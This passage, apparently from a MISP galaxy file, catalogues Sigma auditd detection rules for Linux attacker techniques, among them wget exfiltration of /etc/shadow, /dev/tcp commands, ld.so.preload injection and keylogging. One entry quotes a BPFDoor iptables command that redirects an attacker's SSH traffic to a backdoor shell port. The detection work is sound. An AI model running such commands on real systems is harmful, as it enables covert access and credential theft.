          "attack.t1123",
          "attack.t1548"
        ]
      },
      "related": [
        {
          "dest-uuid": "1035cdf2-3e5f-446f-a7a7-e8f6d7925967",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
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      "uuid": "fe10751f-1995-40a5-aaa2-c97ccb4123fe",
      "value": "Linux Capabilities Discovery"
    },
    {
      "description": "Detects system information discovery commands",
      "meta": {
        "author": "Ömer Günal, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "lnx_auditd_system_info_discovery2.yml",
        "level": "informational",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery2.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1f358e2e-cb63-43c3-b575-dfb072a6814f",
      "value": "System and Hardware Information Discovery"
    },
    {
      "description": "Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access.\nDetection rules that match only on the disabling of firewalls will miss this.\n",
      "meta": {
        "author": "IAI",
        "creation_date": "2023/03/06",
        "falsepositive": [
          "Legitimate admin activity"
        ],
        "filename": "lnx_auditd_modify_system_firewall.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html",
          "https://blog.aquasec.com/container-security-tnt-container-attack",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_modify_system_firewall.yml"
        ],
        "tags": [
          "attack.t1562.004",
          "attack.defense_evasion"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "323ff3f5-0013-4847-bbd4-250b5edb62cc",
      "value": "Modify System Firewall"
    },
    {
      "description": "Detect changes in auditd configuration files",
      "meta": {
        "author": "Mikhail Larin, oscd.community",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "lnx_auditd_auditing_config_change.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "Self Experience",
          "https://github.com/Neo23x0/auditd/blob/master/audit.rules",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "977ef627-4539-4875-adf4-ed8f780c4922",
      "value": "Auditing Configuration Changes on Linux Host"
    },
    {
      "description": "Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.",
      "meta": {
        "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community",
        "creation_date": "2019/10/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_ld_so_preload_mod.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md",
          "https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4b3cb710-5e83-4715-8c45-8b2b5b3e5751",
      "value": "Modification of ld.so.preload"
    },
    {
      "description": "Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.\nSeveral different variations of this technique have been observed.\n",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": "No established falsepositives",
        "filename": "lnx_auditd_masquerading_crond.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/8a82e9b66a5b4f4bc5b91089e9f24e0544f20ad7/atomics/T1036.003/T1036.003.md#atomic-test-2---masquerading-as-linux-crond-process",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_masquerading_crond.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9d4548fa-bba0-4e88-bd66-5d5bf516cda0",
      "value": "Masquerading as Linux Crond Process"
    },
    {
      "description": "Detects appending of zip file to image",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/09",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_hidden_zip_files_steganography.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_zip_files_steganography.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "45810b50-7edc-42ca-813b-bdac02fb946b",
      "value": "Steganography Hide Zip Information in Picture File"
    },
    {
      "description": "Detects commandline operations on shell history files",
      "meta": {
        "author": "Mikhail Larin, oscd.community",
        "creation_date": "2020/10/17",
        "falsepositive": [
          "Legitimate administrative activity",
          "Legitimate software, cleaning hist file"
        ],
        "filename": "lnx_auditd_susp_histfile_operations.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1552.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "eae8ce9f-bde9-47a6-8e79-f20d18419910",
      "value": "Suspicious History File Operations - Linux"
    },
    {
      "description": "Detect file time attribute change to hide new or changes to existing files.",
      "meta": {
        "author": "Igor Fits, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_change_file_time_attr.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attr.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "b3cec4e7-6901-4b0d-a02d-8ab2d8eb818b",
      "value": "File Time Attribute Change - Linux"
    },
    {
      "description": "Detects command line parameter very often used with coin miners",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/10/09",
        "falsepositive": [
          "Other tools that use a --cpu-priority flag"
        ],
        "filename": "lnx_auditd_coinminer.yml",
        "level": "critical",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://xmrig.com/docs/miner/command-line-options",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1068"
        ]
      },
      "related": [
        {
          "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "071d5e5a-9cef-47ec-bc4e-a42e34d8d0ed",
      "value": "Possible Coin Miner CPU Priority Param"
    },
    {
      "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\nAn adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Legitimate administrator or user uses network sniffing tool for legitimate reasons."
        ],
        "filename": "lnx_auditd_network_sniffing.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.discovery",
          "attack.t1040"
        ]
      },
      "related": [
        {
          "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f4d3748a-65d1-4806-bd23-e25728081d01",
      "value": "Network Sniffing - Linux"
    },
    {
      "description": "Detects attempts to post the file with the usage of wget utility.\nThe adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like /etc/shadow.\n",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/11/18",
        "falsepositive": [
          "Legitimate usage of wget utility to post a file"
        ],
        "filename": "lnx_auditd_data_exfil_wget.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/1/wget",
          "https://gtfobins.github.io/gtfobins/wget/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cb39d16b-b3b6-4a7a-8222-1cf24b686ffc",
      "value": "Data Exfiltration with Wget"
    },
    {
      "description": "Detects a reload or a start of a service.",
      "meta": {
        "author": "Jakob Weinzettl, oscd.community",
        "creation_date": "2019/09/23",
        "falsepositive": [
          "Installation of legitimate service.",
          "Legitimate reconfiguration of service."
        ],
        "filename": "lnx_auditd_pers_systemd_reload.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1543.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2625cc59-0634-40d0-821e-cb67382a3dd7",
      "value": "Systemd Service Reload or Start"
    },
    {
      "description": "Detection use of the command \"split\" to split files into parts and possible transfer.",
      "meta": {
        "author": "Igor Fits, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "lnx_auditd_split_file_into_pieces.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_split_file_into_pieces.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1030"
        ]
      },
      "related": [
        {
          "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "2dad0cba-c62a-4a4f-949f-5f6ecd619769",
      "value": "Split A File Into Pieces - Linux"
    },
    {
      "description": "Detects attempts to collect image data stored in the clipboard from users with the usage of xclip tool.\nXclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/10/01",
        "falsepositive": [
          "Legitimate usage of xclip tools"
        ],
        "filename": "lnx_auditd_clipboard_image_collection.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/1/xclip",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_clipboard_image_collection.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1115"
        ]
      },
      "related": [
        {
          "dest-uuid": "30973a08-aed9-4edf-8604-9084ce1b5c4f",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f200dc3f-b219-425d-a17e-c38467364816",
      "value": "Clipboard Collection of Image Data with Xclip Tool"
    },
    {
      "description": "All TCP traffic on particular port from attacker is routed to different port. ex. '/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392'\nThe traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.\n",
      "meta": {
        "author": "Rafal Piasecki",
        "creation_date": "2022/08/10",
        "falsepositive": [
          "Legitimate ports redirect"
        ],
        "filename": "lnx_auditd_bpfdoor_port_redirect.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor",
          "https://www.sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_bpfdoor_port_redirect.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "70b4156e-50fc-4523-aa50-c9dddf1993fc",
      "value": "Bpfdoor TCP Ports Redirect"
    },
    {
      "description": "Detects program executions in suspicious non-program folders related to malware or hacking activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/01/23",
        "falsepositive": [
          "Admin activity (especially in /tmp folders)",
          "Crazy web applications"
        ],
        "filename": "lnx_auditd_susp_exe_folders.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_exe_folders.yml"
        ],
        "tags": [
          "attack.t1587",
          "attack.t1584",
          "attack.resource_development"
        ]
      },
      "related": [
        {
          "dest-uuid": "edadea33-549c-4ed1-9783-8f5a5853cbdf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "7e3beebd-8bfe-4e7b-a892-e44ab06a75f9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc",
      "value": "Program Executions in Suspicious Folders"
    },
    {
      "description": "Detects removing immutable file attribute.",
      "meta": {
        "author": "Jakob Weinzettl, oscd.community",
        "creation_date": "2019/09/23",
        "falsepositive": [
          "Administrator interacting with immutable files (e.g. for instance backups)."
        ],
        "filename": "lnx_auditd_chattr_immutable_removal.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_chattr_immutable_removal.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1222.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a5b977d6-8a81-4475-91b9-49dbfcd941f7",
      "value": "Remove Immutable File Attribute - Auditd"
    },
    {
      "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.",
      "meta": {
        "author": "Timur Zinniatullin, oscd.community",
        "creation_date": "2019/10/21",
        "falsepositive": [
          "Legitimate use of archiving tools by legitimate user."
        ],
        "filename": "lnx_auditd_data_compressed.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/a78b9ed805ab9ea2e422e1aa7741e9407d82d7b1/atomics/T1560.001/T1560.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_compressed.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1560.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a3b5e3e9-1b49-4119-8b8e-0344a01f21ee",
      "value": "Data Compressed"
    },
    {
      "description": "Detects enumeration of local or remote network services.",
      "meta": {
        "author": "Alejandro Ortuno, oscd.community",
        "creation_date": "2020/10/21",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "lnx_auditd_network_service_scanning.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_service_scanning.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1046"
        ]
      },
      "related": [
        {
          "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3761e026-f259-44e6-8826-719ed8079408",
      "value": "Linux Network Service Scanning - Auditd"
    },
    {
      "description": "Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/13",
        "falsepositive": [
          "Legitimate use of screenshot utility"
        ],
        "filename": "lnx_auditd_screencaputre_xwd.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md#atomic-test-3---x-windows-capture",
          "https://linux.die.net/man/1/xwd",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencaputre_xwd.yml"
        ],
        "tags": [
          "attack.collection",
          "attack.t1113"
        ]
      },
      "related": [
        {
          "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "e2f17c5d-b02a-442b-9052-6eb89c9fec9c",
      "value": "Screen Capture with Xwd"
    },
    {
      "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems.",
      "meta": {
        "author": "Igor Fits, oscd.community",
        "creation_date": "2020/10/15",
        "falsepositive": [
          "Legitimate administrative activity"
        ],
        "filename": "lnx_auditd_system_shutdown_reboot.yml",
        "level": "informational",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_shutdown_reboot.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1529"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff73aa03-0090-4464-83ac-f89e233c02bc",
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          "type": "related-to"
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      ],
      "uuid": "4cb57c2f-1f29-41f8-893d-8bed8e1c1d2f",
      "value": "System Shutdown/Reboot - Linux"
    },
    {
      "description": "Detects password policy discovery commands",
      "meta": {
        "author": "Ömer Günal, oscd.community, Pawel Mazur",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Legitimate administration activities"
        ],
        "filename": "lnx_auditd_password_policy_discovery.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/1/chage",
          "https://man7.org/linux/man-pages/man1/passwd.1.html",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1201/T1201.md",
          "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_password_policy_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1201"
        ]
      },
      "related": [
        {
          "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      "uuid": "ca94a6db-8106-4737-9ed2-3e3bb826af0a",
      "value": "Password Policy Discovery"
    },
    {
      "description": "Detects System Information Discovery commands",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/03",
        "falsepositive": [
          "Likely"
        ],
        "filename": "lnx_auditd_system_info_discovery.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discovery.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1082"
        ]
      },
      "related": [
        {
          "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "f34047d9-20d3-4e8b-8672-0a35cc50dc71",
      "value": "System Information Discovery - Auditd"
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    {
      "description": "Detects overwriting (effectively wiping/deleting) of a file.",
      "meta": {
        "author": "Jakob Weinzettl, oscd.community",
        "creation_date": "2019/10/23",
        "falsepositive": [
          "Appending null bytes to files.",
          "Legitimate overwrite of files."
        ],
        "filename": "lnx_auditd_dd_delete_file.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_dd_delete_file.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1485"
        ]
      },
      "related": [
        {
          "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "37222991-11e9-4b6d-8bdf-60fbe48f753e",
      "value": "Overwriting the File with Dev Zero or Null"
    },
    {
      "description": "Detect attempt to enable auditing of TTY input",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/05/24",
        "falsepositive": [
          "Administrative work"
        ],
        "filename": "lnx_auditd_keylogging_with_pam_d.yml",
        "level": "high",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://linux.die.net/man/8/pam_tty_audit",
          "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/sec-configuring_pam_for_auditing",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/T1056.001.md",
          "https://access.redhat.com/articles/4409591#audit-record-types-2",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_keylogging_with_pam_d.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003",
          "attack.t1056.001"
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      },
      "related": [
        {
          "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "49aae26c-450e-448b-911d-b3c13d178dfc",
      "value": "Linux Keylogging with Pam.d"
    },
    {
      "description": "Detects relevant commands often related to malware or hacking activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/12/12",
        "falsepositive": [
          "Admin activity"
        ],
        "filename": "lnx_auditd_susp_cmds.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "Internal Research - mostly derived from exploit code including code in MSF",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_cmds.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.004"
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      },
      "related": [
        {
          "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      "uuid": "1543ae20-cbdf-4ec1-8d12-7664d667a825",
      "value": "Suspicious Commands Linux"
    },
    {
      "description": "Detects adversary creating hidden file or directory, by detecting directories or files with . as the first character",
      "meta": {
        "author": "Pawel Mazur",
        "creation_date": "2021/09/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "lnx_auditd_hidden_files_directories.yml",
        "level": "low",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_files_directories.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
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      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
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            "estimative-language:likelihood-probability=\"almost-certain\""
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      "uuid": "d08722cd-3d09-449a-80b4-83ea2d9d4616",
      "value": "Hidden Files and Directories"
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      "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.",
      "meta": {
        "author": "Marie Euler, Pawel Mazur",
        "creation_date": "2020/05/18",
        "falsepositive": [
          "Admin activity"
        ],
        "filename": "lnx_auditd_create_account.yml",
        "level": "medium",
        "logsource.category": "No established category",
        "logsource.product": "linux",
        "refs": [
          "https://access.redhat.com/articles/4409591#audit-record-types-2",
          "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-understanding_audit_log_files",
          "https://www.youtube.com/watch?v=VmvY5SQm5-Y&ab_channel=M45C07",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_create_account.yml"
        ],
        "tags": [
          "attack.t1136.001",
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      "uuid": "759d0d51-bc99-4b5e-9add-8f5b2c8e7512",
      "value": "Creation Of An User Account"
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      "description": "Detects suspicious command with /dev/tcp",
      "meta": {
        "author": "frack113",
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        "falsepositive": [
          "Unknown"
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        "filename": "lnx_susp_dev_tcp.yml",
